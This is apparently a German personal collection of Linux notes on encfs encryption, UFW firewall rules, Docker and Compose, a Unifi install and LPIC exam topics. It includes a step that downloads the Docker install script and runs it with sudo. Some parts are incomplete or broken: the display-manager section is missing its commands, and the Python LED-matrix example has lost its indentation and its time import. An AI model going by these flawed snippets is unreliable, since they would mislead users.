1. Installiere "encfs" auf deinem Linux-System, falls es noch nicht installiert ist. Dies kannst du in der Regel über den Paketmanager deiner Distribution tun. Zum Beispiel kannst du unter Ubuntu den folgenden Befehl ausführen:
sudo apt-get install encfs
2. Erstelle einen leeren Ordner, der als "verschlüsselter" Ordner dienen wird. Du kannst dies an einem beliebigen Ort tun. Zum Beispiel:
```
mkdir ~/encrypted_folder
```
3. Führe den folgenden Befehl aus, um den verschlüsselten Ordner einzurichten:
```
encfs ~/encrypted_folder ~/decrypted_folder
```
Dabei ist "~/encrypted_folder" der Pfad zum verschlüsselten Ordner und "~/decrypted_folder" der Pfad zum entschlüsselten Ordner.
4. Während der Einrichtung wirst du nach der Art der Verschlüsselung gefragt. Du kannst die Standardeinstellungen verwenden, indem du einfach Enter drückst.
5. Anschließend wirst du aufgefordert, ein Passwort für die Verschlüsselung festzulegen. Gib ein starkes Passwort ein und bestätige es.
6. Sobald die Einrichtung abgeschlossen ist, kannst du den verschlüsselten Ordner verwenden, indem du Dateien in den entschlüsselten Ordner kopierst. Die Dateien werden automatisch verschlüsselt und im verschlüsselten Ordner gespeichert.
7. Wenn du auf die verschlüsselten Dateien zugreifen möchtest, musst du den verschlüsselten Ordner zunächst mounten. Führe dazu den folgenden Befehl aus:
```
encfs ~/encrypted_folder ~/decrypted_folder
```
8. Du wirst erneut nach dem Passwort gefragt. Gib das Passwort ein, das du bei der Einrichtung festgelegt hast.
9. Sobald der Ordner gemountet ist, kannst du auf die Dateien im entschlüsselten Ordner zugreifen und sie verwenden.
10. Wenn du die verschlüsselten Dateien nicht mehr benötigst, kannst du den Ordner unmounten, indem du den folgenden Befehl ausführst:
```
fusermount -u ~/decrypted_folder
```
Das war's! Du hast jetzt erfolgreich einen Ordner in Linux verschlüsselt.
UFW Firewall

Einführung
UFW (oder Uncomplicated Firewall) ist eine vereinfachte Firewall-Verwaltungsschnittstelle, die die Komplexität von Paketfilterungstechnologie auf niedriger Ebene wie iptables
und nftables
versteckt. Wenn Sie mit dem Sichern Ihres Netzwerks beginnen möchten und Sie nicht sicher sind, welches Tool Sie verwenden sollen, könnte UFW die richtige Wahl für Sie sein.
In diesem Tutorial erfahren Sie, wie Sie eine Firewall mit UFW unter Ubuntu 20.04 einrichten.
Voraussetzungen
Um dieser Anleitung zu folgen, benötigen Sie:
- Einen Ubuntu 20.04-Server mit einem sudo Nicht-root User, den Sie über das Tutorial Ersteinrichtung des Servers unter Ubuntu 20.04 einrichten können.
UFW ist unter Ubuntu standardmäßig installiert. Wenn UFW aus einem bestimmten Grund deinstalliert wurde, können Sie UFW mit sudo apt install ufw
installieren.
Schritt 1 — Verwenden von IPv6 mit UFW (optional)
Dieses Tutorial wurde für IPv4 verfasst, funktioniert aber auch für IPv6, solange es aktiviert ist. Wenn auf Ihrem Ubuntu-Server IPv6 aktiviert ist, muss UFW so konfiguriert sein, dass IPv6 unterstützt wird, um Firewall-Regeln nicht für IPv4, sondern auch für IPv6 zu verwalten. Öffnen Sie dazu die UFW-Konfiguration mit nano
oder Ihrem bevorzugten Editor.
sudo nano /etc/default/ufw
Stellen Sie dann sicher, dass der Wert von IPV6
yes
lautet. Das sollte wie folgt aussehen:
IPV6=yes
Speichern und schließen Sie die Datei. Wenn UFW aktiviert ist, wird es so konfiguriert, dass sowohl IPv4- als auch IPv6-Firewall-Regeln geschrieben werden. Bevor wir UFW aktivieren, wollen wir jedoch überprüfen, ob Ihre Firewall so konfiguriert ist, dass Verbindungen über SSH möglich sind. Beginnen wir mit der Einstellung der Standardrichtlinien.
Schritt 2 — Einrichten von Standardrichtlinien
Wenn Sie gerade mit der Verwendung Ihrer Firewall begonnen haben, sind Ihre Standardrichtlinien die ersten Regeln, die Sie definieren sollten. Diese Regeln steuern die Handhabung von Daten, die nicht ausdrücklich von anderen Regeln abgedeckt werden. Standardmäßig ist UFW so konfiguriert, dass alle eingehenden Verbindungen abgelehnt und alle ausgehenden Verbindungen zugelassen werden. So kann niemand, der versucht, Ihren Server zu erreichen, eine Verbindung herstellen, während jede Anwendung innerhalb des Servers nach außen kommunizieren kann.
Lassen Sie uns Ihre UFW-Regeln zurück auf die Standardeinstellungen setzen, um sicherzugehen, dass Sie diesem Tutorial folgen können. Um die von UFW verwendeten Standardeinstellungen auszuwählen, verwenden Sie diese Befehle:
sudo ufw default deny incoming
sudo ufw default allow outgoing
Diese Befehle legen die Standardeinstellungen fest: eingehende Verbindungen werden abgelehnt und ausgehende Verbindungen zugelassen. Die Standardeinstellungen der Firewall allein können für einen PC ausreichen, Server müssen aber normalerweise auf eingehende Anfragen von externen Benutzern reagieren. Das sehen wir uns als Nächstes an.
Schritt 3 — Zulassen von SSH-Verbindungen
Wenn wir unsere UFW-Firewall jetzt aktivieren würden, würde sie alle eingehenden Verbindungen ablehnen. Das bedeutet, dass wir Regeln erstellen müssen, die legitime eingehende Verbindungen (z. B. SSH- oder HTTP-Verbindungen) ausdrücklich zulassen, wenn unser Server auf diese Art von Anforderungen reagieren soll. Wenn Sie einen Cloud-Server verwenden, werden Sie wahrscheinlich eingehende SSH-Verbindungen zulassen wollen, damit Sie sich mit Ihrem Server verbinden und den Server verwalten können.
Um Ihren Server so zu konfigurieren, dass eingehende SSH-Verbindungen zugelassen werden, können Sie diesen Befehl verwenden:
sudo ufw allow ssh
Dadurch werden Firewall-Regeln erstellt, die alle Verbindungen an Port 22
zulassen; das ist der Port, an dem der SSH-Daemon standardmäßig lauscht. UFW weiß, was Port allow ssh
bedeutet, da dies in der Datei /etc/services
als Dienst aufgeführt wird.
Wir können die äquivalente Regel jedoch auch schreiben, indem wir den Port anstelle des Dienstnamens angeben. Dieser Befehl funktioniert zum Beispiel genauso wie oben:
sudo ufw allow 22
Wenn Sie Ihren SSH-Daemon so konfiguriert haben, dass er einen anderen Port verwendet, müssen Sie den entsprechenden Port angeben. Wenn Ihr SSH-Server beispielsweise an Port 2222
lauscht, können Sie diesen Befehl verwenden, um Verbindungen an diesem Port zuzulassen:
sudo ufw allow 2222
Nachdem Ihre Firewall nun so konfiguriert ist, dass eingehende SSH-Verbindungen zugelassen werden, können wir sie aktivieren.
Schritt 4 — Aktivieren von UFW
Um UFW zu aktivieren, verwenden Sie diesen Befehl:
sudo ufw enable
Sie erhalten eine Warnung, die besagt, dass der Befehl bestehende SSH-Verbindungen stören kann. Wir haben bereits eine Firewall-Regel eingerichtet, die SSH-Verbindungen zulässt. Daher sollte es in Ordnung sein, fortzufahren. Beantworten Sie die Eingabeaufforderung mit y
und drücken Sie ENTER
.
Die Firewall ist jetzt aktiv. Führen Sie den Befehl sudo ufw status verbose
aus, um die festgelegten Regeln anzuzeigen. Im Rest des Tutorials wird die Verwendung von UFW im Detail behandelt, wie das Zulassen oder Ablehnen verschiedener Verbindungen.
Schritt 5 — Zulassen anderer Verbindungen
Jetzt sollten Sie alle anderen Verbindungen zulassen, auf die Ihr Server reagieren soll. Die Verbindungen, die Sie zulassen sollten, sind von Ihren spezifischen Bedürfnissen abhängig. Glücklicherweise wissen Sie bereits, wie Sie Regeln schreiben, die Verbindungen anhand eines Dienstnamens oder Ports zulassen. Das haben wir bereits für SSH an Port 22
getan. Sie können es auch tun für:
- HTTP an Port 80, was nicht verschlüsselte Webserver verwenden; mit
sudo ufw allow http
odersudo ufw allow 80
- HTTPS an Port 443, was verschlüsselte Webserver verwenden; mit
sudo ufw allow https
odersudo ufw allow 443
Es gibt weitere Möglichkeiten, um andere Verbindungen zuzulassen, abgesehen von der Angabe eines Ports oder bekannten Dienstes.
Spezifische Portbereiche
Sie können mit UFW spezifische Portbereiche angeben. Einige Anwendungen verwenden mehrere Ports anstelle eines einzelnen Ports.
Um zum Beispiel X11-Verbindungen zuzulassen, die Ports 6000
-6007
verwenden, nutzen Sie diese Befehle:
sudo ufw allow 6000:6007/tcp
sudo ufw allow 6000:6007/udp
Wenn Sie mit UFW Portbereiche angeben, müssen Sie das Protokoll (tcp
oder udp
) angeben, für das die Regeln gelten sollen. Wir haben das vorher nicht erwähnt, da wir ohne Angabe des Protokolls automatisch beide Protokolle zulassen, was in den meisten Fällen in Ordnung ist.
Spezifische IP-Adressen
Beim Arbeiten mit UFW können Sie auch IP-Adressen spezifizieren. Wenn Sie zum Beispiel Verbindungen von einer bestimmten IP-Adresse zulassen möchten, wie einer Arbeits- oder privaten IP-Adresse unter 203.0.113.4
, müssen Sie from
und dann die IP-Adresse angeben:
sudo ufw allow from 203.0.113.4
Sie können auch einen bestimmten Port angeben, mit dem die IP-Adresse eine Verbindung herstellen darf, indem Sie to any port
(zu jedem Port) gefolgt von der Portnummer hinzufügen. Wenn Sie zum Beispiel 203.0.113.4
erlauben möchten, sich mit Port 22
(SSH) zu verbinden, verwenden Sie diesen Befehl:
sudo ufw allow from 203.0.113.4 to any port 22
Subnetze
Wenn Sie ein Subnetz von IP-Adressen zulassen möchten, können Sie CIDR-Notation verwenden, um eine Netzmaske anzugeben. Wenn Sie zum Beispiel alle IP-Adressen im Bereich von 203.0.113.1
bis 203.0.113.254
zulassen möchten, können Sie diesen Befehl verwenden:
sudo ufw allow from 203.0.113.0/24
Außerdem können Sie auch den Zielport angeben, mit dem das Subnetz 203.0.113.0/24
eine Verbindung herstellen darf. Auch hier verwenden wir Port 22
(SSH) als Beispiel:
sudo ufw allow from 203.0.113.0/24 to any port 22
Verbindungen zu einer spezifischen Netzwerkschnittstelle
Wenn Sie eine Firewall-Regel erstellen möchten, die nur für eine bestimmte Netzwerkschnittstelle gilt, können Sie dazu „allow in on“ gefolgt vom Namen der Netzwerkschnittstelle angeben.
Sie möchten möglicherweise Ihre Netzwerkschnittstellen überprüfen, bevor Sie fortfahren. Dazu verwenden Sie diesen Befehl:
ip addr
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state
. . .
3: eth1: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default
. . .
Die hervorgehobene Ausgabe gibt die Namen der Netzwerkschnittstellen an. Sie haben typischerweise Namen wie eth0
oder enp3s2
.
Wenn Ihr Server eine öffentliche Netzwerkschnittstelle namens eth0
hat, könnten Sie HTTP-Verkehr (Port 80
) dorthin mit diesem Befehl zulassen:
sudo ufw allow in on eth0 to any port 80
Dadurch würden Sie zulassen, dass Ihr Server HTTP-Anfragen aus dem öffentlichen Internet empfängt.
Oder wenn Sie möchten, dass Ihr MySQL-Datenbankserver (Port 3306
) an der privaten Netzwerkschnittstelle eth1
nach Verbindungen lauschen soll, können Sie diesen Befehl verwenden:
sudo ufw allow in on eth1 to any port 3306
Dadurch dürften andere Server in Ihrem privaten Netzwerk eine Verbindung mit Ihrer MySQL-Datenbank herstellen.
Schritt 6 — Ablehnen von Verbindungen
Wenn Sie die Standardrichtlinie für eingehende Verbindungen nicht geändert haben, ist UFW so konfiguriert, dass alle eingehenden Verbindungen abgelehnt werden. Das vereinfacht im Allgemeinen das Erstellen einer sicheren Firewall-Richtlinie, da Sie Regeln erstellen müssen, die bestimmte Ports und IP-Adressen explizit zulassen.
Manchmal werden Sie jedoch einzelne Verbindungen auf Grundlage der Quell-IP-Adresse oder des Subnetzes ablehnen wollen, vielleicht weil Sie wissen, dass Ihr Server von dort angegriffen wird. Wenn Sie Ihre Richtlinie für eingehenden Datenverkehr in allow ändern möchten (was nicht empfohlen wird), müssten Sie für alle Dienste oder IP-Adressen, bei denen Sie keine Verbindung zulassen wollen, deny-Regeln erstellen.
Um deny-Regeln zu schreiben, können Sie die oben beschriebenen Befehle verwenden und allow durch deny ersetzen.
Um zum Beispiel HTTP-Verbindungen abzulehnen, können Sie diesen Befehl verwenden:
sudo ufw deny http
Oder wenn Sie alle Verbindungen von 203.0.113.4
ablehnen möchten, können Sie diesen Befehl verwenden:
sudo ufw deny from 203.0.113.4
Jetzt werfen wir einen Blick auf das Löschen von Regeln.
Schritt 7 — Löschen von Regeln
Zu wissen, wie man Firewall-Regeln löscht, ist genauso wichtig wie zu wissen, wie man sie erstellt. Es gibt zwei Wege, um anzugeben, welche Regeln gelöscht werden sollen: anhand der Regelnummer oder der tatsächlichen Regel (ähnlich wie beim Angeben der Regeln im Rahmen der Erstellung). Wir beginnen mit der Methode Löschen anhand von Regelnummer, da sie einfacher ist.
Nach Regelnummer
Wenn Sie die Regelnummer verwenden, um Firewall-Regeln zu löschen, wird eine Liste Ihrer Firewall-Regeln angezeigt. Der UFW-Statusbefehl hat eine Option, um neben jeder Regel eine Nummer anzuzeigen, wie hier gezeigt:
sudo ufw status numbered
Status: active
To Action From
-- ------ ----
[ 1] 22 ALLOW IN 15.15.15.0/24
[ 2] 80 ALLOW IN Anywhere
Wenn wir entscheiden, dass wir Regel 2, die Verbindungen an Port 80 (HTTP) zulässt, löschen möchten, können wir sie in einem UFW-Befehl wie diesem angeben:
sudo ufw delete 2
Dadurch würde eine Bestätigungsaufforderung angezeigt und Regel 2, die HTTP-Verbindungen zulässt, dann gelöscht. Beachten Sie, dass Sie bei aktiviertem IPv6 wahrscheinlich auch die entsprechende IPv6-Regel löschen möchten.
Nach tatsächlicher Regel
Die Alternative zu Regelnummern besteht darin, die tatsächlich zu löschende Regel anzugeben. Wenn Sie zum Beispiel die Regel allow http
entfernen möchten, können Sie das wie folgt schreiben:
sudo ufw delete allow http
Sie könnten die Regel auch anhand von allow 80
anstelle des Dienstnamens angeben:
sudo ufw delete allow 80
Diese Methode löscht sowohl IPv4- als auch IPv6-Regeln, falls vorhanden.
Schritt 8 — Prüfen von UFW-Status und -Regeln
Sie können den Status von UFW mit diesem Befehl jederzeit überprüfen:
sudo ufw status verbose
Wenn UFW deaktiviert ist, was standardmäßig der Fall ist, sehen Sie in etwa Folgendes:
Status: inactive
Wenn UFW aktiv ist, was der Fall sein sollte, wenn Sie Schritt 3 ausgeführt haben, teilt die Ausgabe mit, dass UFW aktiv ist; zudem werden alle festgelegten Regeln aufgelistet. Wenn Sie die Firewall beispielsweise so einrichten, dass SSH (Port 22
)-Verbindungen überall zugelassen werden, könnte die Ausgabe ungefähr wie folgt aussehen:
Status: active
Logging: on (low)
Default: deny (incoming), allow (outgoing), disabled (routed)
New profiles: skip
To Action From
-- ------ ----
22/tcp ALLOW IN Anywhere
Verwenden Sie den Befehl status
, um zu prüfen, wie UFW die Firewall konfiguriert hat.
Schritt 9 — Aktivieren oder Zurücksetzen von UFW (optional)
Wenn Sie entscheiden, dass Sie UFW nicht mehr verwenden möchten, können Sie die Firewall mit diesem Befehl deaktivieren:
sudo ufw disable
Alle Regeln, die Sie mit UFW erstellt haben, sind dann nicht mehr aktiv. Sie können später jederzeit sudo ufw enable
nutzen, um sie wieder zu aktivieren.
Wenn Sie bereits UFW-Regeln konfiguriert haben, aber lieber neu anfangen möchten, können Sie den Befehl reset verwenden:
sudo ufw reset
Dadurch wird UFW deaktiviert und alle Regeln, die zuvor definiert wurden, werden gelöscht. Beachten Sie, dass die Standardrichtlinien nicht zu ihren ursprünglichen Einstellungen zurückkehren, wenn Sie sie irgendwann geändert haben. Jetzt sollten Sie mit UFW neu anfangen können.
Ping verbieten
Ping kann in der Datei /etc/ufw/before.rules deaktiviert werden.
-A ufw-before-input -p icmp --icmp-type echo-request -j DROP
Ändern des Displaymanagers
In Debian können Sie den Desktop-Umgebungsauswahlmanager ändern, indem Sie verschiedene Desktop-Umgebungen installieren und dann auswählen, welche verwendet werden soll. Hier sind die Schritte, um dies zu tun:
Bitte beachten Sie, dass diese Schritte je nach Debian-Version und verwendeter Desktop-Umgebung variieren können. Es wird empfohlen, die offizielle Dokumentation von Debian sowie die Dokumentation Ihrer spezifischen Desktop-Umgebung zu konsultieren, um die besten Anleitungen für Ihre Konfiguration zu erhalten.

Um zu überprüfen, welche Display Manager auf Ihrem Debian-System installiert sind, können Sie entweder den Inhalt des Verzeichnisses /usr/share/xsessions/
überprüfen oder die Paketliste mit Hilfe des Paketmanagers durchsuchen. Hier sind die Schritte für beide Methoden:
Nachdem Sie einen dieser Schritte ausgeführt haben, sollten Sie eine Liste der installierten Display Manager auf Ihrem Debian-System sehen können.

Um den GNOME-Desktop von einem Debian-System zu deinstallieren, können Sie die entsprechenden GNOME-Pakete über den Paketmanager entfernen. Beachten Sie jedoch, dass das Entfernen des GNOME-Desktops auch andere Pakete entfernen kann, die von anderen Anwendungen oder Desktop-Umgebungen abhängen. Stellen Sie sicher, dass Sie dies berücksichtigen, bevor Sie fortfahren. Hier sind die Schritte, um den GNOME-Desktop zu deinstallieren:
Dieser Befehl entfernt die wichtigsten GNOME-Pakete, einschließlich des GNOME-Shell, der Sitzungsverwaltung, des Systemeinstellungsprogramms, des Terminalprogramms, der Tweaks-Anwendung und der Softwareanwendung.
Bitte beachten Sie, dass das Entfernen des GNOME-Desktops dazu führen kann, dass einige Anwendungen oder Systemfunktionen nicht mehr verfügbar sind oder dass eine andere Desktop-Umgebung möglicherweise nicht ordnungsgemäß funktioniert. Stellen Sie sicher, dass Sie vollständig verstehen, welche Auswirkungen das Entfernen von GNOME auf Ihr System haben kann, bevor Sie fortfahren.
Rebalance-LND
Rebalance-LND ist ein Python script zum Rebalancen
https://github.com/C-Otto/rebalance-lnd
Channal übersicht
/mnt/data/rebalance-lnd/rebalance.py -c
Ich habe einen alias erstellt. So muss nur noch eingegeben werden:
rebalance -c
Rebalance
rebalance -t akfejfwejfj -a
-t to account
-f from account
-a amount
Weitere Parameter:
- ohne -a sucht sich das scipt selbst den betrag
- --fee-factor 2 würde den Kostennutzenfactor um 2 erhöhen
Raspberry Matrix
Um eine LED-Matrix mit einem Raspberry Pi anzusteuern, benötigen Sie zunächst eine passende LED-Matrix und ein Treiber-Board, das mit dem Raspberry Pi kompatibel ist. Ein beliebtes Treiber-Board für LED-Matrizen ist das "Max7219" oder das "WS2812B".
Um die LED-Matrix anzusteuern, können Sie eine Programmiersprache wie Python verwenden, um die GPIO-Pins des Raspberry Pi zu steuern. Hier ist ein einfaches Beispiel, um eine LED-Matrix mit dem Max7219-Treiber auf einem Raspberry Pi anzusteuern:
1. Installieren Sie zunächst die benötigten Bibliotheken für den Max7219-Treiber. Führen Sie dazu den folgenden Befehl in der Terminal-App des Raspberry Pi aus:
pip install luma.led_matrix
2. Schließen Sie das Treiber-Board an den Raspberry Pi an und verbinden Sie die LED-Matrix mit dem Treiber-Board.
3. Schreiben Sie dann ein Python-Skript, um die LED-Matrix zu steuern. Hier ist ein einfaches Beispiel, um eine rotierende Animation auf der LED-Matrix anzuzeigen:
from luma.led_matrix.device import max7219
from luma.core.interface.serial import spi, noop
serial = spi(port=0, device=0, gpio=noop())
device = max7219(serial, cascaded=1)
while True:
for i in range(8):
device.pixel(i, 0, 1)
device.show()
time.sleep(0.1)
device.clear()
4. Führen Sie das Python-Skript auf dem Raspberry Pi aus und die LED-Matrix sollte die rotierende Animation anzeigen.
Dies ist nur ein einfaches Beispiel zur Ansteuerung einer LED-Matrix mit dem Max7219-Treiber. Je nach LED-Matrix und Treiber-Board, das Sie verwenden, müssen Sie möglicherweise verschiedene Bibliotheken und Code-Beispiele verwenden. Es gibt auch viele Online-Tutorials und Beispiele, die Ihnen bei der Ansteuerung einer LED-Matrix mit einem Raspberry Pi helfen können.
Docker Einführung
Docker installieren:
curl -fsSL https://get.docker.com -o get-docker.sh
sudo sh ./get-docker.sh
Falls kein curl installiert: apt install curl
Wenn man nicht mit dem Nutzer Root arbeitet, sollte man den aktuellen Benutzer berechtigen:
sudo usermod -aG docker $USER
Mit Docker arbeiten
- Laufende Container auflisten:
docker ps
- Alle Container auflisten (auch gestoppte):
docker ps -a
- Einen Container anhalten:
docker stop <Containername>
(den Namen findet man mitdocker ps heraus
) - Einen gestoppten Container endgültig löschen:
docker rm <Containername>
Einen simplen Webserver starten
Der Container aus dem Image nginx fährt mit folgendem Befehl hoch:
docker run -p 80:80 nginx
Die eigene IP-Adresse erhält man mit ip a
Arbeiten mit Docker-Compose
Legt euch am besten einen eigenen Ordner für das Docker-Projekt an, um Ordnung zu halten. Die Datei docker-compose.yml enthält die Definition der Container.
Bearbeitet wird die Datei mit:
nano docker-compose.yml
Die Inhalte findet ihr unten in diesem GitHub-Gist. Den Texteditor Nano beendet man mit: Strg+X
, dann Y
Die Compose-Zusammenstellung hochfahren:
docker-compose up -d
Will man die Container updaten, lädt man die neuen Images mit
docker-compose pull
Eine oder mehrere Docker-Compose-Dateien?
Das ist definitiv Geschmachssache und hängt von der Umgebung ab. Wenn man mehr als ein Projekt (zum Beispiel einen Blog und ein Pihole) auf einem Server betreibt, sollte man für jedes einen Ordner anlegen und darin eine Docker-Compose-Datei ablegen. Die nützlichen Helfer wie Portainer und Watchtower kommen zusammen in eine weitere Datei. Dann kann man mit docker compose down
gezielt Teile der Umgebung herunterfahren.
# Die Docker-Compose-Zusammenstellung für Pihole (https://hub.docker.com/r/pihole/pihole)
services:
pihole:
container_name: pihole
image: pihole/pihole:latest
ports:
- "53:53/tcp"
- "53:53/udp"
- "67:67/udp"
- "80:80/tcp"
environment:
TZ: 'Europe/Berlin'
# WEBPASSWORD: 'set a secure password here or it will be random'
volumes:
- './etc-pihole:/etc/pihole'
- './etc-dnsmasq.d:/etc/dnsmasq.d'
cap_add:
- NET_ADMIN
restart: unless-stopped
# Docker-Compose-Datei für Portainer (https://hub.docker.com/r/portainer/portainer-ce). Antwortet auf Port 9000 des Servers
services:
portainer:
image: portainer/portainer-ce
ports:
- 9000:9000
volumes:
- /var/run/docker.sock:/var/run/docker.sock
- ./portainer_data:/data
restart: always
# Docker-Compose-Datei für Watchtower (https://hub.docker.com/r/containrrr/watchtower)
services:
watchtower:
image: containrrr/watchtower
volumes:
- /var/run/docker.sock:/var/run/docker.sock
Unifi-Server
Server installieren
#Check your Ubuntu version
lsb_release -a
#Installing Unifi Repo
sudo apt-get update && sudo apt-get install ca-certificates apt-transport-https
echo 'deb [ arch=amd64,arm64 ] https://www.ui.com/downloads/unifi/debian stable ubiquiti' | sudo tee /etc/apt/sources.list.d/100-ubnt-unifi.list
sudo wget -O /etc/apt/trusted.gpg.d/unifi-repo.gpg https://dl.ui.com/unifi/unifi-repo.gpg
#Alternativly download the package directly
https://dl.ui.com/unifi/8.0.28/unifi_sysvinit_all.deb
#Fixing the dependencies
wget http://archive.ubuntu.com/ubuntu/pool/main/o/openssl/libssl1.1_1.1.1f-1ubuntu2_amd64.deb -O libssl1.1.deb
sudo dpkg -i libssl1.1.deb
curl https://pgp.mongodb.com/server-4.4.asc | sudo gpg --dearmor | sudo tee /usr/share/keyrings/mongodb-org-server-4.4-archive-keyring.gpg >/dev/null
echo 'deb [arch=amd64,arm64 signed-by=/usr/share/keyrings/mongodb-org-server-4.4-archive-keyring.gpg] https://repo.mongodb.org/apt/ubuntu focal/mongodb-org/4.4 multiverse' | sudo tee /etc/apt/sources.list.d/mongodb-org-4.4.list > /dev/null
sudo apt update && sudo apt install -y mongodb-org-server
sudo systemctl enable mongod && sudo systemctl start mongod
#Installing Unifi
sudo apt-get update && sudo apt-get install unifi -y
sudo systemctl enable unifi && sudo systemctl restart unifi
Server Updaten
Ganz einfach über sudo apt update && sudo apt upgrade -y
Linux LPIC Prüfung
Befehle
uname | Print system Informationen |
lscpu | display information about the cpu |
Man-Pages
man uname
Virtuelle Dateisysteme
/proc - Hier sind nur Dateien aus dem Arbeitsspeicher. Die Prozesse sind in ordnern mit den Nummern.
/sys - Datein die im Arbeitsspeicher befinden. Infos über Systemhardware
Gerätedateisystem
/dev
tty sind Konsolen
dvd
sda - Festplatte
sr0 - CD
udev - Programm verwaltet das dev verzeichnis
Kernelmodule
lsmod - List modules
modinfo - zeigt information zu linux kernel modulen
modprob ip_tables - das modul ip-Tables in den Kernel laden
modprob -r ip_tables - Das Modul aus dem Kernel entfernen
Hardware anzeigen
lspci - Alle Pci - objekte anzeige lassen
lspci -v - Detailiertere Ansicht
lspci -k - Geräte inklusive Module
lsusb - Listet alle USB Geräte
lsusb -v - um mehr Daten anzeigen zu lassen
Bootvorgang
log des Bootvorgangs anzeigen lassen mit dmesg
Bootvorgang dateien in /etc/init.d
Welche gestartet werden sind in /etc zu finden. und
Dienste Starten oder Stoppen
systemctl status nginx
um einen Status anzuzeigen systemctl stop nginx
stoppt einen Dienstsystemctl start nginx
startet einen Dienstsystemctl resart nginx
Hauptconfigurationdatei von Systemd ist zufinden unter:
/etc/systemd/system.conf
Systemd
/etc/systemd/system
Hier sind die Prozesse die gestartet werden.
/lib/systemd/system
zweites verzeichnis in dem auch startunits vorhanden sind. Vorrangig werden etc Dienste gestartet sollten zwei gleiche vorhanden sein.
Servicemanager systemctl
systemctl list units zeigt alle units mit Status
Runlevel
In welchem zustand sich das System befindet.
Bei einem Angriff kann man in Runlevel 2 wechseln, damit sind keine Netzwerk mehr vorhanden
runlevel
zeigt an, in welchem Runlevel man sich befindet
init 3
Wechselt den Runlevel in Runlevel 3
Festplattenaufteilung
FHS - Dateihirachiestandard
/ |
Root-Verzeichnis |
Unterste Verzeichnisebene |
/bin |
Grundlegende Systembefehle | |
/sbin |
Systembefehle die nur Root-User auführen können. |
|
/boot |
Dateien die beim Booten benötigt werden |
|
/dev |
Geräte dateien |
|
/etc |
Konfigurationsverzeichnis (Sämtliche dateien zum konfigurieren befinden sich normal hier) |
|
/home |
Alle Benutzerverzeichnisse |
|
/lib |
Dynamische Bibliotheken die für Programme die unter bin oder sbin verwendet werden benötigt werden Kernel Module |
|
/lib64 |
für 64 bit systeme |
|
/media |
Wechseldatenträger werden hier gemountet |
|
/mnt |
Mountpoint für weitere Geräte |
|
/opt |
Optionale Pakete |
|
/proc |
Pseudodateisystem |
|
/root |
Homeverzeichnis von Root |
|
/run |
Daten laufender Prozesse |
|
/snap |
Dateien von Snap-Paketen |
|
/srv |
Services: Daten die von anderen Diensten weitergegeben werden |
|
/sys |
||
/tmp |
Temporäres Verzeichnes wird geleert nach dem herunterfahren |
|
/usr |
Systemwerkzeuge und Bibliotheken |
|
/var |
Variable daten die sich öfters verändern |
|
/var/log |
Logfiles |
Swap
Swappartion verhält sich wie ein Arbeitsspeicher. Ist die Erweiterung des Arbeitsspeichers.
Partitionen
Festplatten werden in /dev
abgelegt
lsblk
zeigt alle Partitionen an
die Loop sind für snap geschichten und nicht relevant. df -h
zeigt auch die Partitionen an
Eindeutige ID einer Partition: blkid
oder lsblk -o NAME,SIZE,FSTYPE,MOUNTPOINT,UUID
Mount
Festplatten werden im Normalfall mit dem Daemon Udev gemountet
LVM
Logical Volume Manager
Mehrere Festplatten zu einer Kombinieren b
Befehle |
|
pvs |
Zeigt Festplatten an |
vgs |
zeigt Verbund an |
lvs |
Zeigt auch was an. |
Flatpak installieren
sudo apt install flatpak
sudo flatpak remote-add --if-not-exists flathub https://flathub.org/repo/flathub.flatpakrepo
Desktop Verknüpfung Linux
In einem Gnome Desktop
Um in Debian eine Desktop-Verknüpfung zu erstellen, die ein Skript startet, folge diesen Schritten:
- Skript erstellen und ausführbar machen:
- Stelle sicher, dass dein Skript im Verzeichnis /home/deinBenutzername/ oder einem anderen leicht zugänglichen Ort gespeichert ist. - Setze die Ausführungsrechte für das Skript
chmod +x /pfad/zu/deinem/skript.sh
- Desktop-Verknüpfung erstellen:
- Öffne einen Texteditor (z.B. nano, gedit) und erstelle eine neue Datei mit der Endung .desktop im Ordner ~/Desktop (oder wo immer du die Verknüpfung haben möchtest).
nano ~/Desktop/deinSkriptName.desktop
- Füge den folgenden Inhalt in die Datei ein (passe die Felder entsprechend an):
[Desktop Entry]
Type=Application
Name=Dein Skript Name
Comment=Ein kurzer Kommentar über das Skript
Exec=/pfad/zu/deinem/skript.sh
Icon=/pfad/zu/deinem/icon.png # Optional, wenn du ein Icon hast
Terminal=false # Setze dies auf true, wenn das Skript eine Konsole benötigt
Categories=Utility; # Kategorien für das Menü
- Hier ist eine kurze Erklärung zu den Feldern:
- Type=Application: Gibt an, dass es sich um eine Anwendung handelt.
- Name: Der angezeigte Name der Verknüpfung.
- Comment: Ein kurzer Kommentar/Beschreibung.
- Exec: Der Pfad zu deinem Skript.
- Icon: Optional, Pfad zu einem Icon.
- Terminal: Wenn true, wird das Skript in einem Terminal ausgeführt.
- Categories: In welche Kategorien das Menüelement eingegliedert werden soll.
3. Verknüpfung speichern und ausführbar machen:
- Speichere die Datei und schließe den Editor.
- Mach die .desktop-Datei ausführbar:
bash
```bash
chmod +x ~/Desktop/deinSkriptName.desktop
```
4. Überprüfen:
- Du solltest nun eine Verknüpfung auf deinem Desktop sehen. Klicke darauf, um das Skript zu starten. Wenn das Skript ein Terminal benötigt, stelle sicher, dass Terminal=true gesetzt ist.
Hinweis: Manchmal kann es sein, dass .desktop-Dateien nicht direkt ausgeführt werden können, wenn sie nicht von einem vertrauenswürdigen Ort kommen. In diesem Fall könntest du die Datei in /usr/share/applications oder ~/.local/share/applications speichern und dann von dort aus aufrufen.
Dieser Ansatz sollte dir helfen, in Debian eine Desktop-Verknüpfung für dein Skript zu erstellen.
Gnome Desktop
Desktop-Datei erstellen: Erstelle eine .desktop-Datei im Verzeichnis
~/.local/share/applications/. Beispiel:
nano ~/.local/share/applications/meineapp.desktop
Inhalt der .desktop-Datei:
[Desktop Entry]
Name=MeineApp
Exec=/pfad/zur/appimage
Icon=/pfad/zum/icon.png
Type=Application
Categories=Utility;
Speichern und schließen: Speichere die Datei und schließe den Editor.
Aktualisieren: Führe update-desktop-database
~/.local/share/applications/
aus, um die Änderungen zu aktualisieren.
Tipps zu Linux
Taskmanager in der Konsole:
btop
Systeminfos anzeigen
Fastfetch über Github herunterladen
Autostart-Infos bei SSH-Anmeldung
~/.ssh/rc
in der Datei kannn man Befehle ablegen die nach dem Start der SSH-Shell abgearbeitet werden.
Beispiel:
